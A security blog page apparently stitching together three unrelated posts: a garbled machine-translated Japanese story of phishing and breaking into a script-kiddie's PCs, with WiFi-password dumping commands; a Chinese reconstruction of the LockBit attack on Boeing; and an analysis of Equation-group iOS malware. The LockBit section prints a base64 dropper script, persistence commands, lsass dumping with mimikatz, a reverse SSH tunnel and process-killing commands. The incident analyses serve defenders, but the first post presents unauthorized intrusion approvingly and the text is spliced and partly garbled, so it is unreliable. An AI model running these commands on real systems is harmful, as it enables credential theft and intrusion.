Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863289318

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

01序文

最近さまよっています。私はたまたま経験プログラマーを雇って経験を奪うのを手伝っていたグループの誰かに会いました。 0日を集めました。また、最近書く記事がないと感じたので、社会で大物を試しました。

まず、ルーチンについて尋ねて、彼が何をしているのか見てみましょう。

1049983-20240509092510634-1287905194.jpg

この人は、batchexpを書くのを手伝ってくれる人を見つけたいと思っています

ued0003o3hh11319.png

それから、私が書くことができるふりをし、最初にトリックを作り、役割に入り、相手に私が本当に書くことができると思わせます。

uxmejyuamfc11321.png

ここで、私は自分でテスト用のサイトを構築したと言った後、シェルをリンクして試してみるように頼みました。大丈夫ですか!

ytujs514m1y11323.png

その後、ターゲットはオンラインではなく、彼は私が構築したサイトを他の2人の男性に送りました。

el0uabesgdx11325.png

02テクノロジー番号1

私のソーシャルワーカーの特定の従業員のこの従業員は、実際にテクノロジーを理解していませんでした。彼は私のフィッシングページを彼らの下の2人の技術者に送りました。そのうちの1つはおそらく仮想マシンであり、もう1つは物理マシンでした。だから私はここで釣りを一つしか持っていません。

ここにはオンラインで2つのPCがあり、統一された外部IPエクスポートとカンボジアディスプレイの場所があります。それが真実かどうかは不明です。この人は、私たちがスクリプトキッドハッカーと呼んでいるものです。彼のPCが持っている情報をお見せしましょう。

3vhhfx0qews11327.png

スクリプトトロイの木馬

m2tjqxor2hl11329.png

あらゆる種類の本名証明書

obxthatll4011331.png

さまざまなバッチハッキングツール

vkmdxgyqpix11333.png

ブラックハットSEOキーワード

wultsnlyxjq11336.png

侵入に使用されるさまざまなVPSマシン

nn21luswd0j11338.png

さまざまなWebサイトを説明します

0wrnk1xblj511340.png

03イントラネットの拡張と浸透

各プロセスには、一連の環境変数とその値を含む環境ブロックがあります。環境変数には、ユーザー環境変数とシステム環境変数の2種類があります。

ARP -Aが見ました。次のマシンが発見されました。 10ユニット以上。

192.168.1.1 78-44-FD-FD-55-B9ダイナミック

192.168.1.13 6C-8D-C1-18-AA-B2ダイナミック

192.168.1.24 DC-2B-2A-C2-22-15ダイナミック

192.168.1.42 8C-8E-F2-4F-26-8Fダイナミック

192.168.1.54 B0-FC-36-29-F7-AB AB Dynamic

192.168.1.62 B4-D5-BD-B2-29-E2ダイナミック

192.168.1.81 38-53-9C-EE-31-7Eニュース

192.168.1.83 38-71-DE-13-4F-D8ダイナミック

192.168.1.92 CC-29-F5-BC-B8-C1ダイナミック

192.168.1.119 CC-44-63-18-08-4Cダイナミック

192.168.1.137 6C-72-E7-5E-F9-7Eダイナミック

192.168.1.143 A4-D9-31-89-3D-C4ダイナミック

192.168.1.149 48-3B-38-45-4D-22ダイナミック

192.168.1.171 CC-29-F5-78-70-87ダイナミック

192.168.1.178 00-B3-62-7D-F6ダイナミック

192.168.1.206 B0-FC-36-30-79-7Bダイナミック

192.168.1.233 E4-F8-9C-9F-61-FEダイナミック

192.168.1.243 DC-41-5F-05-FE-EFダイナミック

192.168.1.255 ff-ff-ff-ff-ff-ff-ff-ff-ff static

224.0.0.22 01-00-5E-00-00-16静的

224.0.0.252 01-00-5E-00-00-FC静的

224.210.34.44 01-00-5E-52-22-2C静的

239.11.20.1 01-00-5E-0B-14-01静的

239.255.255.250 01-00-5E-7F-FF-FA静的

255.255.255.255 ff-ff-ff-ff-ff-ff-ff-ff-ff-ff-ff-ff-fif static

現在計算されているWiFiアカウントのパスワードを読んで読んでください

Netsh WLANはプロファイルを表示します

すべてのユーザープロファイル: 2317RL-5G

すべてのユーザープロファイル: 2317-ATA-5G

すべてのユーザープロファイル: Huawei-D91c

すべてのユーザープロファイル: TP-Link_6a68

すべてのユーザープロファイル: airtel-e5573-8318

すべてのユーザープロファイル: TP-LINK_88T8

すべてのユーザープロファイル: TB-Link-96A9

netsh wlan showプロフィール名='上記の画像の構成ファイル名を入力してください'

vnjiduymdke11341.png

情報を収集し続けます

これは、ネットワークに行くハッカーです

ejypho3p4lk11342.png

04 second

3日間の監視の後、ハッカーの収益性が発見されました。この人は、次のようにBCのプロキシ管理プラットフォームを開設しました。

l5hbfzic0gv11343.png

彼のアカウントを分析した後、彼はそれがエージェントアカウントであることを発見しました。次に、分析のためにアプリをダウンロードします。上記はすべて、タイム宝くじと競馬のようなギャンブルゲームです。しかし、彼はレーシングカーです。背景は、多くのロボットを生成して、多くの人があなたと遊んでいることを作り出します。

pngnjyqp5f011344.png

ロボットだけで240以上に達しました

オンラインでは10人未満の実際のユーザーがいます

5nhrlt3h0jf11345.png

xarc3y41guw11346.png

ハッカーの毎日の仕事は次のとおりです。

最新のUEDITORアップロード脆弱性、IIS7.5の脆弱性の解析、DEDECMSの脆弱性、およびその他のバッチの脆弱性など、0Dayの脆弱性を通じて、

最も一般的に使用されるツールは、バッチツールです

jefcil2kinc11348.png

wkzengpu3sp11350.png

ryaajnotujq11351.png

次に、BCページをアップロードし、ユーザーにアプリをダウンロードしてから、エージェントとして行動している部屋に入ります。このようにして、部屋のユーザーが充電するお金はエージェントにカウントされ、それによって収益性を達成します

現在のところ、ハッカーはまだIIS7.5の解像度の脆弱性を実行しています。

wkyr1agvis011354.png

UEDITORのアップロード脆弱性をバッチするために、300を超えるW URLがインポートされています。

元のリンクアドレス:https://www.hackdoor.org/d/216-bc

封面图.jpg

1 前言2016年前後,勒索攻擊的主流威脅形態已經從勒索團伙傳播擴散或廣泛投放勒索軟件收取贖金,逐漸轉化為RaaS+定向攻擊收取高額贖金的運行模式。 RaaS為Ransomware as a Service(勒索即服務)的縮寫,是勒索團伙研發運營的勒索攻擊基礎設施,包括可定制的破壞性勒索軟件、竊密組件、勒索話術和收費通道等。各種攻擊團伙和個人租用RaaS攻擊基礎設施,在獲得贖金後,與RaaS攻擊組織分賬結算。在眾多勒索攻擊組織中,LockBit組織最為活躍,從其公佈的數據顯示,LockBit的RaaS支撐了上千起的攻擊活動,並因一例涉及中資企業海外機構案例被國內外廣泛關注。

為有效應對RaaS+定向勒索風險,防御者需要更深入地了解定向勒索攻擊的運行機理,才能構建有效的敵情想定,針對性的改善防禦和響應能力。因此,擇取典型案例,對此類攻擊進行深度复盤極為重要。但由於相關涉我案例的分析支撐要素並不成熟,安天CERT在其他近期重大攻擊案例中進行了篩選,選擇了同樣與LockBit組織相關,且可參考信息相對豐富的波音公司遭遇定向勒索攻擊事件(以下簡稱本事件)展開了完整復盤分析。安天CERT長期關注和分析勒索攻擊,對LockBit等攻擊組織的持續關注,形成了較為系統的分析積累,依托安天賽博超腦平台的情報數據,CISA等機構對本事件公佈的相關公開信息展開工作。從攻擊過程還原、攻擊工具清單梳理、勒索樣本機理、攻擊致效後的多方反應、損失評估、過程可視化复盤等方面開展了分析工作,並針對事件中暴露的防禦側問題、RaaS+定向勒索的模式進行了解析,並提出了防禦和治理方面的建議。

2 事件背景和報告形成的過程2023年10月下旬,波音公司成為了RaaS+定向勒索攻擊的受害者[1]。由於LockBit是通過RaaS模式運營的攻擊組織,本次攻擊事件的實際攻擊者暫時無法確認。 2023年10月27日,LockBit所屬的受害者信息發布平台發消息聲稱竊取了波音的大量敏感數據,並以此脅迫波音公司,如果不在2023年11月2日前與LockBit組織取得聯繫,將會公開竊取到的敏感數據。此後,波音一度從受害者名單中消失,直至11月7日,LockBit組織再次將波音公司列入受害者名單中,並聲稱波音公司無視其發出的警告,威脅要發布大約4GiB的數據。可能因雙方談判失敗,LockBit組織於11月10日公開發布了從波音公司竊取到的21.6 GiB數據(媒體報導為43 GiB,系重複計算了壓縮包和展開後的數據)。

安天長期持續跟踪和響應了從勒索軟件傳播到定向勒索攻擊的活動演進。在歷史分析成果中,對“勒索軟件和蠕蟲的合流”、“定向勒索將接近APT攻擊水準”等,都發出了風險預警(參見附錄四)。針對LockBit的本次攻擊波,安天於11月17日以《LockBit 勒索软件样本分析及针对定向勒索的防御思考》 [2]為題,發布了本報告的V1.0版。由於當時缺少相對豐富的信息,在技術層面僅展開了樣本分析工作,並未進行攻擊過程复盤。波音公司被勒索攻擊之後,美國網絡安全和基礎設施安全局(CISA)對事件進行了取證調查,並於2023年11月21日發布了相關報告[3],相關報告給出了高質量的形式化情報,為分析复盤攻擊事件提供了極為重要的參考,我們結合歷史工作積累其他開源情報和對本報告進行完善。

3 LockBit攻擊組織的歷史情況和部分歷史攻擊事件3.1 組織基本情況LockBit組織最早於2019年9月被發現,因其加密後的文件名後綴為.abcd,而被稱為ABCD勒索軟件;該組織在2021年6月發布了勒索軟件2.0版本,增加了刪除磁盤捲影和日誌文件的功能,同時發布專屬數據竊取工具StealBit,採用“威脅曝光(出售)企業數據+加密數據”雙重勒索策略;2021年8月,該組織的攻擊基礎設施頻譜增加了對DDoS攻擊的支持;2022年6月勒索軟件更新至3.0版本,由於3.0版本的部分代碼與BlackMatter勒索軟件代碼重疊,因此LockBit 3.0又被稱為LockBit Black,這反映出不同勒索攻擊組織間可能存在的人員流動、能力交換等情況。使用LockBit RaaS實施攻擊的相關組織進行了大量攻擊作業,通過第三方獲取訪問憑證、漏洞武器化和搭載其他惡意軟件等方式入侵至受害者係統後投放勒索軟件,大量受害者遭受勒索和數據洩露。

LockBit攻擊組織在2022年實施的多次勒索攻擊活動及影響突顯了其為該年度全球最活躍的勒索攻擊組織,甚至主動採取了傳播和PR活動。該組織面向Windows、Linux、macOS、以及VMware虛擬化平台等多種主機系統和目標平台研發勒索軟件,其生成器通過簡單交互即可完成勒索軟件定制。 LockBit勒索軟件僅對被加密文件頭部的前4K數據進行加密,因此加密速度明顯快於全文件加密的其他勒索軟件,由於在原文件對應扇區覆蓋寫入,受害者無法通過數據恢復的方式來還原未加密前的明文數據。

表3‑1 LockBit攻擊組織基本情況

表1.png

LockBit勒索組織的RaaS服務成為攻擊者實施網絡勒索行為的犯罪工具。這些攻擊者通過利用多種手段,其中包括第三方獲取訪問憑證、漏洞武器化,以及搭載其他惡意軟件等方式,成功實現對受害系統的初始訪問。一旦入侵成功,攻擊者的下一步行動通常涉及竊取數據文件,並隨後投放LockBit勒索軟件,將目標系統的數據文件進行加密,繼而實施勒索。

3.2 歷史勒索攻擊情況LockBit勒索組織的規模龐大,擁有眾多附屬成員。其Tor網站幾乎每天都在更新,新增來自世界各地的受害者信息。這個組織採用了一種雙重勒索策略,即“威脅曝光企業數據+加密數據勒索”,進一步加劇了攻擊的危害程度。在Tor網站上,LockBit組織已經發布了超過2200條受害企業信息,僅在2023年,已經發布了1000餘條受害企業信息。這僅僅是公開信息,而實際受害企業數量可能遠超過這個數字。值得關注的是,攻擊者與受害企業有時會選擇通過私下談判的方式解決問題,而不在Tor上公開受害企業信息。這意味著實際受害企業數量可能遠遠超過已公開的信息,這加劇了LockBit組織對企業和機構的網絡安全威脅。

表3‑2 遭遇LockBit勒索攻擊的典型事件清單

時間

受害單位

影響

2021年8月

愛爾蘭IT諮詢公司埃森哲

竊取約6 TiB數據,要求支付5000萬美元贖金

2022年1月

法國泰雷茲集團

部分數據被公開;同年11月再次遭受勒索攻擊,公開竊取的約9.5 GiB數據

2022年2月

普利司通美洲分公司

公司暫停部分工作運營,受害系統數據被竊

2022年6月

美國數字安全公司Entrust

部分數據被竊取

2022年7月

法國電信運營商La Poste Mobile

導致部分系統關停,官方網站關停10余天,部分用戶信息被公開

2022年10月

巴西利亞銀行

部分數據被竊取,要求支付50 BTC贖金

2022年11月

德國大陸集團

竊取約40 GiB數據,要求支付5000萬美元贖金

2022年12月

美國加州財政部

竊取約76 GiB數據

2023年1月

英國皇家郵政

國際出口服務中斷,約45 GiB數據被竊取,要求支付8000萬美元贖金

2023年6月

台積電供應商擎昊科技

部分數據被竊取,要求支付7000萬美元贖金

2023年8月

加拿大蒙特利爾市電力服務委員會

竊取約44 GiB數據

2023年10月

美國波音公司

竊取約21.6 GiB數據

4 事件過程完整復盤分析為了讓防御者更深入了解定向勒索攻擊的運行機理,有針對性的改善防禦和響應能力,安天CERT以對LockBit攻擊組織的歷史分析成果為基礎,參考CISA取證報告等開源情報,綜合運用多種分析方法和手段,對LockBit組織針對波音公司的勒索攻擊進行了复盤,分析了勒索樣本,梳理了攻擊工具清單,對攻擊致效後的情況和損失進行了分析,並對攻擊殺傷鏈與技戰術圖譜進行了分析。

4.1 攻擊過程复盤步驟1:LockBit勒索組織(後稱攻擊者)針對波音公司的Citrix NetScaler ADC 和NetScaler Gateway 設備發動漏洞利用攻擊,竊取有效用戶的訪問cookie。該漏洞無需額外權限,攻擊者可在不需要任何權限的前提下,構造特定的數據包造成緩衝區溢出,可從Citrix NetScaler ADC 和NetScaler Gateway 中越界檢索身份驗證會話cookie等信息,通過cookie繞過身份驗證,獲取系統web登錄權限,通過web功能配置植入木馬進行信息竊取或勒索軟件進行勒索攻擊。

Citrix NetScaler ADC 和NetScaler Gateway 均提供網關服務,其web管理界面可對http、dns進行詳細的管理和配置,可篡改用戶數據實現投毒,可對插件進行惡意更換,用戶安裝被惡意更換的插件後即可被控。

图 4-1 Citrix 配置界面.png

圖4‑1 Citrix配置界面

步驟2:攻擊者利用竊取的cookie實現對波音公司邊界服務器的訪問,植入運行腳本123.ps1,實現釋放並執行Downloader木馬,從C2中下載各種遠程軟件、腳本、網絡掃描等武器裝備,Downloader可遠程獲取的裝備清單如表4-1所示。

123.ps1腳本內容如下,功能為拼接base64編碼,解碼生成adobelib.dll文件(Downloader木馬),以特定十六進製字符串作為參數加載該Downloader木馬:

$y='TVqQAAMA.

$x='RyEHABFQ.

$filePath='C:\Users\Public\adobelib.dll'

$fileBytes=[System.Convert]:FromBase64String($y+$x)

[System.IO.File]:WriteAllBytes($filePath,$fileBytes)

rundll32C:\Users\Public\adobelib.dll,mained5d694d561c97b4d70efe934936286fe562addf7d6836f795b336d9791a5c44表4‑1 攻擊裝備列表

攻擊裝備

123.ps1(初始腳本)

processhacker.exe(結束進程及服務)

psexec.exe(遠程命令執行)

AnyDesk(遠程控制軟件)

ad.ps1(域環境信息收集)

mimikatz.exe(憑證獲取)

tniwinagent.exe(信息收集)

Splashtop(遠程控制軟件)

veeam-get-creds.ps1(憑證收集)

proc.exe(進程dump)

Zoho(遠程控制軟件)

Action1(遠程控制軟件)

secretsdump.py(憑證收集)

netscan.exe(網絡掃描)

ConnectWise(遠程控制軟件)

Atera(遠程控制軟件)

sysconf.bat(執行plink)

servicehost.exe(建立SSH隧道工具-plink)

Screenconnect(遠程控制軟件)

fixme it(遠程控制軟件)

步驟3:攻擊者將惡意dll文件配置為計劃任務和將AnyDesk遠程軟件配置成服務來實現持久化訪問該入口。 AnyDesk是一款由德國公司AnyDesk Software GmbH推出的遠程桌面軟件。用戶可以通過該軟件遠程控制計算機,同時還能與被控制的計算機之間進行文件傳輸,主要應用於客戶日常運維和業務相關主機的遠程管理。這一軟件是常用網管工具、由正規軟件研發企業發布,且有對應廠商數字簽名,往往被作為白名單軟件。但這也使攻擊組織在活動中利用這類軟件的遠程管理功能實現持久訪問、文件傳輸,並利用其是合法簽名執行體來規避檢測。

服務創建及計劃任務添加所使用的命令如下:

schtasks.exe/create/tn'UpdateAdobeTask'/scMINUTE/mo10/tr''Mag.dll''/f

sccreateAnyDeskbinpath=c:\perflogs\AnyDeskMSI.exetype=ownstart=autodisplayname=AnyDesk安天AVL SDK 反病毒引擎檢測到AnyDesk後,會反饋輸出Riskware/Win32. AnyDesk作為命名,便於提醒網管判斷是正常應用還是攻擊者投放。

步驟4:攻擊者使用合法的網絡掃描工具探測目標內部網絡服務,通過ADRecon腳本(ad.ps1)收集AD域信息,利用tniwinagent工具(信息收集)收集其他主機信息。 ADRecon 是由澳大利亞信息安全服務提供商Sense of Security開發的一種收集有關Active Directory 信息並生成報告的工具,該報告可以提供目標AD 環境當前狀態的整體情況。該工具採用PowerShell腳本語言編寫,於2018年在Github開源。基於域環境信息收集功能,易被攻擊者利用,其中FIN7黑客組織曾使用過該工具[4]。

安天AVL SDK 反病毒引擎檢測到的ADRecon後,會反饋輸出HackTool/PowerShell.ADRecon作為命名,便於提醒網管判斷是正常應用還是攻擊者投放。

步驟5:攻擊者使用proc.exe(進程dump)工具獲取lsass.exe進程內存,結合Mimikatz工具獲取系統中的各類憑證;使用veeam-get-creds.ps1腳本從波音公司的veeam平台中獲取保存的憑證;使用secretsdump.py從波音公司的Azure VM上獲取各種賬號數據庫文件及註冊表信息。相關使用命令如表4-2所示。

表4‑2 憑證竊取操作信息表

命令作用

命令內容

轉儲lsass進程內存

proc.exe -accepteula -ma lsass.exe c:\perflogs\lsass.dmp

從lsass進程轉儲文件中提取憑證

mimikatz.exe 'sekurlsa:minidump c:\perflogs\lsass.dmp ' 'sekurlsa:logonPasswords full'

從veeam平台中提取憑證

.\veeam-get-creds.ps1

從Azure VM平台中收集憑證

secretsdump.py

Mimikatz(Mimikatz)是一款黃帽子(黑客)工具,最初由法國黑客Benjamin Delpy開發,並於2011年首次發布,該工具除了可執行文件版本外還存在腳本類型版本。 Mimikatz的主要功能是獲取和操控Windows操作系統中的憑證,如用戶登錄密碼、Windows登錄憑據(NTLM哈希和Kerberos票據)以及各種應用程序和服務的憑證。 Mimikatz設計的目的是揭示Windows系統中密碼和憑證管理的薄弱點,並用於安全專業人員的演示和教育目的。然而,由於其功能強大且廣泛被黑客所利用,Mimikatz也被視為危險的工具,用於進行惡意攻擊、數據竊取和潛在的勒索活動。憑藉其高度靈活和兼容性,Mimikatz已被APT組織或網絡犯罪組織應用於攻擊活動中,其中安天於2020年監測到苦象組織使用PowerShell腳本形式的Mimikatz工具[5]。

安天AVL SDK 反病毒引擎檢測到的Mimikatz後,會反饋輸出HackTool/Win32.Mimikatz、HackTool/Win64.Mimikatz或Trojan/PowerShell.Mimikatz作為命名,便於提醒網管判斷是正常應用還是攻擊者投放。

ProcDump 是一個命令行實用程序,是Sysinternals Suite 系統組件的一部分,其主要目的是監視應用程序的CPU 峰值並在峰值期間生成故障轉儲,管理員或開發人員可以使用它來確定峰值的原因。 ProcDump 還包括掛起窗口監視(使用與Windows 和任務管理器使用的窗口掛起相同的定義)、未處理的異常監視,並且可以根據系統性能計數器的值生成轉儲。它還可以用作通用進程轉儲實用程序,將其嵌入到其他腳本中。在本次事件中,該工具被攻擊者利用其白名單特性及進程轉儲功能,結合Mimikatz工具獲取系統憑證。

安天AVL SDK 反病毒引擎檢測到對應版本的ProcDump後,會反饋輸出RiskWare/Win32.ProcDump或RiskWare/Win64.ProcDump作為命名,便於提醒網管判斷是正常應用還是攻擊者投放。

步驟6:攻擊者利用獲取的各種憑證結合Psexec工具(遠程命令執行),在波音內部網絡其他主機上部署各種遠程軟件,獲取更多其他服務器及主機的訪問權限。 Psexec是一個命令行網絡管理工具,是Sysinternals Suite系統組件的一部分,其調用了Windows系統的內部接口,以遠端Windows主機賬戶名、密碼和要執行的本地可執行文件為輸入參數,基於RPC$服務實現,將本地可執行文件推送到遠端主機執行,其設計初衷是為了便於網絡管理人員以實現敏捷的遠程運營。但由於其作為命令行工具便於被調用封裝,也導致極易被攻擊者作為攻擊工具使用,在完成口令破解後,實現一次性投放執行。早在2003年,廣泛出現大量基於空口令和常見口令進行傳播的系列“口令蠕蟲”,大部分都使用了這個機制。特別是出品該系統組件的Sysinternals的團隊在2006年7月18日被微軟收購,導致其後續版本都帶有微軟的數字簽名,所以也連帶導致其會被較大比例的安全軟件放行。

安天AVL SDK反病毒引擎檢測到對應版本的Psexec後,會反饋輸出RiskWare/Win32.Psexec或RiskWare/Win64.Psexec作為命名,便於提醒網管判斷是正常應用還是攻擊者投放。

步驟7:利用遠程訪問軟件傳輸步驟4至步驟6涉及的各種工具,循環執行步驟4至步驟6的各種操作,盡可能獲取更多服務器及主機的訪問權限。

步驟8:從已控制的系統中收集各種信息(包括備份文件等),並使用7z.exe工具進行壓縮。

步驟9:通過plink.exe工具建立的SSH隧道回傳數據;通過FTP協議回傳數據(193.201.9[.]224);通過遠程控制軟件回傳數據。 plink.exe工具是PuTTY軟件中的一個組件,主要功能類似於Linux系統上的ssh命令行工具,用於SSH連接遠程主機,同時提供多種方式創建或管理SSH會話。由於其屬於PuTTY軟件的一個組件,具備數字簽名,能夠規避以數字簽名作為白名單檢測機制的終端防護軟件的檢測。

攻擊者使用如下命令格式實現SSH隧道建立:

echoenter|c:\windows\servicehost.exe-ssh-r8085:127.0.0.1:8085

步驟10:結束相關主機的數據庫服務及進程、殺毒軟件、其他阻礙勒索加密的進程。

攻擊者使用如下命令結束相關進程及服務:

cmd.exe/q/ctaskkill/f/imsqlwriter.exe/im

winmysqladmin.exe/imw3sqlmgr.exe/imsqlwb.exe/imsqltob.exe

/imsqlservr.exe/imsqlserver.exe/imsqlscan.exe/imsqlbrowser.exe

/imsqlrep.exe/imsqlmangr.exe/

imsqlexp3.exe/imsqlexp2.exe/imsqlex

步驟11:將LockBit 3.0勒索軟件通過遠程控制軟件部署到目標主機(數據價值高的、業務重要性強的)中並執行,實現加密勒索。對目標加密完成後,釋放勒索信並修改桌面背景用以提示受害者,便於受害者根據勒索信中預留的聯繫方式與攻擊者進行談判,談判內容包括支付贖金的數額和支付方式等。勒索軟件及勒索信分析詳見下節。

图 4-2 勒索信中的联系方式.png

圖4‑2勒索信中的聯繫方式

4.2 攻擊工具清單梳理在本次攻擊事件中,攻擊者利用Citrix設備相關的CVE-2023-4966漏洞作為突破口,入侵後組合利用多種攻擊裝備實現網絡攻擊,例如使用多種帶有數字簽名的遠程控制軟件與受害系統建立遠程連接,實現傳播其他攻擊裝備;利用Process Hacker實現禁用和卸載與安全軟件有關的進程和服務;通過ProcDump工具轉儲進程內存,結合Mimikatz實現憑證獲取,使用NetScan進行網絡掃描,用以發現與網絡有關的信息等,攻擊裝備具體使用情況見下表:

表4‑3 攻擊裝備使用情況

裝備類型

名稱

裝備來源

備註

漏洞利用

Citrix Bleed(CVE-2023-4966)

自研漏洞利用代碼

Citrix NetScaler ADC 和NetScaler Gateway 設備的軟件漏洞

腳本

123.ps1

自研腳本

解碼並釋放Downloader木馬

ad.ps1

開源腳本(Github)

AD域偵察腳本,收集域內各種信息

veeam-get-creds.ps1

開源腳本(Github)

從Veeam平台獲取保存的憑證信息

secretsdump.py

開源腳本(Github)

從Azure VM上獲取各類賬戶數據庫信息(憑證)

sysconf.bat

自研腳本

用於執行plink

黑客工具

processhacker.exe

公開軟件

禁用和卸載與安全軟件有關的進程和服務

mimikatz.exe

開源軟件

從內存和進程轉儲文件中獲取憑證

進程轉儲

proc.exe

公開軟件

通過ProcDump工具轉儲lsass.exe內存,結合Mimikatz實現憑證獲取

網絡掃描

netscan.exe

公開軟件

重命名Softperfect公司的網絡掃描軟件,實現網絡掃描功能

端口轉發

servicehost.exe

公開軟件

重命名的plink(PuTTY Link),用於端口轉發建立SSH隧道

遠程執行

psexec.exe

公開軟件

用於遠程部署特定程序

TNI客戶端

tniwinagent.exe

公開軟件

用於發現

封面图.jpg

重發按語:2023年6月1日,卡巴斯基發布報告《三角行动:iOS设备被以前未知的恶意软件攻击》 ,當時報告中僅進行了事件披露,沒有發布樣本分析。為讓全球用戶更深入了解A2PT攻擊組織的攻擊能力,安天CERT在6月9日披露了一份歷史積累分析成果,曝光了同一威脅來源方向的歷史樣本分析。與卡巴曝光的攻擊來自於針對手機iMessage服務投放不同,安天曝光的樣本來自於“量子”系統的投放,報告也因此命名為《“量子”系统击穿苹果手机》 。歷經數月的艱苦分析,卡巴於今日發布了新分析成果報告《三角行动:最后一个谜团》 。安天勘誤重發6月的報告,也提醒用戶應廣泛關注來自量子系統的空中投放。

//該報告首次發佈時《图 5‑3 量子系统可攻击场景图谱化分析》 有誤,已經勘正,特此致歉。

1 概述:覆蓋智能終端的A2PT樣本拼圖在過去二十多年的時間裡,全球關鍵信息基礎設施運營者、安全廠商、研究者所面臨的重大考驗是,如何應對以NSA等情報機構所發動的網絡攻擊活動,基於這種攻擊活動應用了難以想像的技術與資源,安天CERT將這種攻擊活動稱之為A2PT(高級的高級持續性威脅)攻擊,並發現其中多起攻擊都來自於NSA下屬的方程式組織。如何把A2PT攻擊活動中的攻擊樣本與過程揭示出來,成為了一場比馬拉松更艱苦的分析接力賽,這場接力至少已經完成了三次交接棒,第一階段從2010年的“震網”事件觸發,圍繞“震網”—“火焰”—“毒曲”—“高斯”系列樣本的攻擊活動、樣本同源性與關聯展開,直到2013年的斯諾登事件出現,才發現這些只是冰山一角;第二階段是從方程式組織(隸屬於NSA)被曝光開始,圍繞其硬盤固件攻擊能力、載荷、通信加密機制特點、“原子化”作業模式等展開,並逐漸證明“震網”等攻擊與方程式組織密切相關;第三階段則是圍繞“影子經紀人”所洩露的方程式組織的漏洞和攻擊載荷,全球業界展開更深入的拼接分析和復盤。中國網絡安全產業聯盟在4月11日所發布的報告《美国情报机构网络攻击的历史回顾——基于全球网络安全界披露信息分析》 [1]基本完整復現了這場漫長而艱難的鬥爭。

這場分析接力中兩項比較重要的工作:一項是揭示從“震網”到方程式的複雜線索關聯,這些信息可以參見卡巴斯基和安天相關的惡意代碼家族的同源性分析報告[2][3],也可以在《震网事件的九年再复盘与思考》 [4]看到相關的惡意代碼工程的關聯圖譜。另一項則是去驗證一個邏輯上存在著必然性,但又需要大量工作來佐證的判斷——即方程式組織的作業能力和惡意代碼樣本儲備是覆蓋全操作系統平台的。毫無疑問,國際安全廠商卡巴斯基為此做出了最大的貢獻,安天CERT也有部分獨創的工作,例如Linux、Solaris樣本的最早曝光是來自安天的報告。安天CERT在2016年的報告《从方程式到“方程组”——EQUATION攻击组织高级恶意代码的全平台能力解析》 [5]中,匯聚了安天和卡巴斯基等的成果,統計了Windows、Linux、Solaris、FreeBSD和Mac OS平台的樣本情況。但彼時方程式組織針對iOS 、Android等移動平台的樣本還沒有正式浮出水面,儘管在2013年斯諾登事件中所曝光的NSA ANT系列攻擊裝備中DROPOUTJEEP、TOTEGHOSTLY等代號給出了一些線索,但由於iOS平台取證的難度,和其攻擊作業的高度定向性,業內一直沒有樣本級別的發現和實證——但這並不意味著,它們會永遠沉寂於水面之下,持續的努力讓我們能夠在後續找到線索並進行了分析積累。

2023年6月1日,卡巴斯基[6]發布了《三角行动:iOS设备被以前未知的恶意软件攻击》 ,這讓我們決定對我們原有分析成果進行補充分析,並正式發布。由於卡巴斯基尚未公開有關事件樣本信息和分析結果,我們尚無法判定我們分析的這些歷史樣本是否是“三角行動”攻擊樣本的早期版本。但我們明確的判斷是:我們所分析的樣本,和卡巴斯基所曝光的攻擊同樣來自方程式組織。但與卡巴斯基所發現的樣本是依托iMessage的漏洞投放不同的是,本報告的相關攻擊樣本來自方程式組織基於“量子”(QUANTUM)系統在網絡側針對上網終端瀏覽器漏洞利用投放。

2 樣本分析相關樣本並不是常規的iOS APP應用安裝包,而是針對iOS底層的木馬,木馬分為執行載荷與後門程序,執行載荷是最初投放到系統的,它負責釋放後門程序和持久化。

2.1 執行載荷表2‑1木馬主體程序

原始文件名

regquerystr.exe

文件大小

307kb

文件格式

Mach-O executable

木馬主體程序在投遞過程中偽裝的文件名是regquerystr.exe,但並非是一個PE格式文件,實際文件格式是ARM架構的Mach-O 可執行程序,利用漏洞或通過沙盒逃逸完成後門程序的釋放和執行,其首先檢測內核版本和用戶權限。

2-1.jpg

圖2‑1 對內核版本信息和當前的用戶權限進行獲取和判斷

然後木馬程序進行後門程序的釋放,將其釋放到/tmp/mvld,並執行/bin/launchctl的load命令完成後門服務的運行。

2-2.jpg

圖2‑2 運行後門服務

2-3.jpg

圖2‑3 正在運行的後門服務

木馬主體採用了兩種不同的加密算法來加密其明文字符串信息。

算法1:

2-4.jpg

圖2‑4 字符串加密算法1

算法2:

2-5.jpg

圖2‑5 字符串加密算法2

其使用的加密方法比較簡單,配置數據只運用了異或和乘法運算,其使用的密鑰有0x47[7]和0x1D,網絡通訊部分則使用了標準的HTTPS加密協議。這種簡單的加密與方程式組織在PC平台樣本嚴格使用高強度加密算法並不一致,關於PC樣本加密算法和密鑰可以參見安天分析報告《方程式(EQUATION)部分组件中的加密技巧分析》 [8],但相對來看,可能是彼時的手機環境算力相對較低,同時沒有較為成熟的安全對抗機制,因此攻擊者並未使用強加密。

2-6.jpg

圖2‑6 解密後的關鍵字符串信息

表2‑2 Regquerystr木馬解密出的配置信息

配置名稱

內容

說明

binary

Gzip文件

壓縮後的第二階段載荷

binary_filename

/usr/sbin/mvld

第二階段載荷釋放名稱

init_script_filename

com.apple.mvld.plist

mimic_bin_file

notifyd

mimic_init_file

com.apple.locationd.plist

2.2 後門程序在投放載荷執行後,會釋放一個後門程序mvld。該木馬是Regquerystr釋放的子程序,主要用於收集設備信息,以及與遠程服務器通信,程序運行後會生成日誌文件/private/var/tmp/.swapfile.tmp,並刪除自身文件(/tmp/mvld),經分析,可將該木馬合併入方程式組織的DoubleFantasy[9]攻擊木馬武器譜系。

表2‑3 後門程序信息

原始文件名

Mvld

文件大小

117kb

文件格式

Mach-O executable

mvld後門程序路徑如下:

2-7.jpg

圖2‑7 後門程序路徑

mvld後門程序會訪問遠程控制服務器發送http請求,當C2域名無法訪問時直接訪問硬編碼IP:

2-8.jpg

圖2‑8 向遠程服務器發送請求

mvld後門程序配置了代理設置,採用neno客戶端http協議。

2-9.jpg

圖2‑9 代理設置

mvld後門程序通過getuid、getpwuid可以獲取設備帳號的用戶名、密碼、用戶組等信息。

2-10.jpg

圖2‑10 獲取設備信息

mvld後門程序同時也會讀取/etc/passwd文件,獲取登陸用戶信息。

2-11.jpg

圖2‑11 獲取登錄用戶信息

修改環境變量DYLD_INSERT_LIBRARIES:

2-12.jpg

圖2‑12 修改環境變量DYLD_INSERT_LIBRARIES內容

